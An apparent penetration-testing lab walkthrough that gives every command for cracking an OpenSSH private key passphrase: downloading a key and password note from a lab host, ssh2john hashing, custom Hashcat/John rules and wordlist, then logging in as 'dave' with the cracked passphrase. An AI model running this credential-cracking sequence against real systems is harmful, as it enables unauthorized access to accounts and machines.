SSH Private Key Passphrase Cracking

Published on June 24, 2025

This walkthrough shows every command used to crack an OpenSSH private key passphrase.

1. Prepare Workspace and Download Files

cd ~/passwordattacks
wget http://192.168.50.201:8080/id_rsa
wget http://192.168.50.201:8080/note.txt
ls -l

Explanation: cd into your working directory; wget downloads the private key and note; ls verifies files and permissions.

2. Review Candidate Passphrases

cat note.txt

Explanation: Displays plaintext passwords and policy notes.

3. Secure the Private Key

chmod 600 id_rsa

Explanation: Restricts key file to owner read/write, required by SSH.

4. Attempt SSH Connection (Failing Passphrases)

ssh -i id_rsa -p 2222 dave@192.168.50.201

Explanation: Tries to use the key; prompts for passphrase (none match).

5. Convert Private Key to Hash

ssh2john id_rsa > ssh.hash

Explanation: JtR’s script transforms the key into a crackable hash.

6. Inspect the Hash

cat ssh.hash

Explanation: Confirms the hash format; contains “$6$” for SHA-512 KDF.

7. Find Hashcat Mode

hashcat -h | grep -i "ssh"

Explanation: Searches Hashcat help for “Private Keys ($6$)”; reveals mode 22921.

8. Create Hashcat Rule File

cat << 'EOF' > ssh.rule
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#
EOF

Explanation: c capitalizes first letter; $1 $3 $7 append digits “137”; $!,$@,$# append special chars.

9. Build Custom Wordlist

cat << 'EOF' > ssh.passwords
Window
rickc137
dave
superdave
megadave
umbrella
EOF

Explanation: Contains candidate base passwords from the note.

10. Attempt with Hashcat (Fails)

hashcat -m 22921 ssh.hash ssh.passwords -r ssh.rule --force

Explanation: Hashcat errors “Token length exception” due to unsupported cipher (AES-256-CTR).

11. Append Rules to John the Ripper

sudo sh -c 'cat ssh.rule >> /etc/john/john.conf'

Explanation: Adds named rules to john.conf, under [List.Rules:sshRules].

12. Crack with John the Ripper

john --wordlist=ssh.passwords --rules=sshRules ssh.hash

Explanation: Uses sshRules and the custom wordlist; quickly finds Umbrella137!.

13. SSH into Target with Recovered Passphrase

ssh -i id_rsa -p 2222 dave@192.168.50.201

Explanation: Enter passphrase Umbrella137!; gain shell access.

Linked Articles